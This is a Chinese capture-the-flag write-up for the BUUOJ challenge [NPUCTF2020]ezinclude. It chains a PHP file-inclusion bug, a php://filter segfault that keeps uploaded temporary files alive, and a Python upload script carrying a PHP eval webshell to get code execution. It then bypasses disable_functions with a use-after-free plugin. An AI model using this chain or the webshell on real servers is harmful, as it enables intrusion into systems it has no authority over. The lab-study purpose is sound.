BUUOJ-[NPUCTF2020]ezinclude 1
涉及的知识点
- 文件上传时的临时文件
- php7 文件上传时
Segment Fault
,上传的临时文件不会被删除 - 绕过
disable_functions
解题过程
0 信息收集
没啥能下手的,扫个目录,存在index.php
、dir.php
、404.html
1 index.php
访问题目,返回如下内容
Set-Cookie
中的Hash
就是$md5($secret.$name)
(经典脑洞)- 如果
$name=''
,则有$md5($secret.$name)===$md5($secret)===上面的Hash
- 则
/?pass=上面的Hash
即可,或者带上&name=
传递空值
提示跳转到flflflflag.php
2 flflflflag.php
访问flflflflag.php
,提示有文件包含
php为协议读源码/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php
(去掉了html部分)
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
可以看到过滤了data,input,zip
协议
通过http协议测试,发现并没有返回内容,说明allow_url_include=Off
那么,data://,php://input
都是不可用的(可以参考伪协议可用条件)
可以用unicode编码绕过
preg_match
(preg_match
执行后,会自动转义unicode&#十进制ascii;
)
这里需要用到一个特性,在上传文件时,如果出现Segment Fault
,那么上传的临时文件不会被删除。这里的上传文件需要说明一下,一般认为,上传文件需要对应的功能点,但实际上,无论是否有文件上传的功能点,只要HTTP请求中存在文件,那么就会被保存为临时文件,当前HTTP请求处理完成后,垃圾回收机制会自动删除临时文件。
使php
陷入死循环直,产生Segment Fault
的方法:(具体原理未找到,如果有大佬清楚,请告知,感谢。)
- 使用
php://filter/string.strip_tags/resource=文件
- 版本要求:
php7.0.0-7.1.2
php7.1.3-7.2.1
php7.2.2-7.2.8
- 版本要求:
- 使用
php://filter/convert.quoted-printable-encode/resource=文件
- 版本要求:
php<=5.6.38
php7.0.0-7.0.32
php7.0.4-7.2.12
- 函数要求
file
file_get_contents
readfile
- 版本要求:
这里只能使用string.strip_tags
,可以通过以下脚本上传文件
import requests
from io import BytesIO
payload = "<?php eval($_POST['x']);?>"
file_data = {'file': BytesIO(payload.encode())}
url="url/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
response = requests.post(url=url, files=file_data, allow_redirects=False)
print(response)
关于临时文件,可以简单说几句
- 存储路径,由
php.ini
中的upload_tmp_dir
指定,- linux下默认值
/tmp/
- windwos下默认值
C:/Windwos
orC:/Windwos/Temp/
- linux下默认值
- 命名规则
- linux下,
php+6个随机字符
- windows下,
php+4个随机字符.tmp
- linux下,
- 生命周期
- 开始处理带有文件的
POST
请求 - 保存临时文件,并写入数据
- 执行
php
脚本 - 删除临时文件
- 开始处理带有文件的
3 dir.php
访问/dir.php
找到临时文件名,并通过/flflflflag.php?file=/tmp/临时文件名
进行代码执行
flag在phpinfo()
中
本着拿shell的心态,可以绕过disable_funcitons
4 绕过disable_funcitons
用蚁剑连接会发现返回ret=127
,含义为无法执行命令,可以手动(参考CTFHub->技能树->Web进阶->PHP disable_functions
)或者使用蚁剑的插件进行绕过
使用PHP7_GC_UAF
模式即可